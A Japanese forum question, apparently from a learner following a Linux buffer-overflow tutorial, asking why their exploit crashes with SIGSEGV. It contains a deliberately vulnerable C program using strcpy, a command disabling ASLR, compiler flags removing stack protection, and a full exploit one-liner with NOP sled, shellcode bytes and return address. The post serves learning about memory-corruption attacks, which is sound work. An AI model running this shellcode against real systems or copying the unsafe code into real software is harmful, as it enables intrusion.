Linuxでバッファオーバーフローを行う方法に関するチュートリアルを見ていました。最終的なものを実行しようとするまで、すべてがうまく機能していました。Googleで検索して検索しましたが、うまくいくものは何も見つかりませんでした。
バッファ オーバーフローの悪用可能な C コード (exploitable.c):
#include <string.h>
int main(int argc, char** argv)
{
char buf[500];
strcpy(buf, argv[1]);
return 0;
}
コンパイル方法:
- va_space のランダム化を削除しました (それが何をするのかはよくわかりませんが、バッファ オーバーフローが許容されることはわかっています)。
echo 0 > /proc/sys/kernel/randomize_va_space
- このコマンドを使用してコンパイルしました:
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
gdb を使用して実行したところ、このコマンドで
/bin/bash
シェルが取得されることがわかりました。./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')
ただし、これは機能しません。
$eip
gdb で実行すると、が適切に設定されていることがわかりました0xbffff144
(最初のラウンドの途中で)。何らかの理由で、これにより SIGSEGV エラーが発生します。
何か間違ったことをしたのか、それともオフにする必要があるフェイルセーフがもう 1 つあるのかわかりません。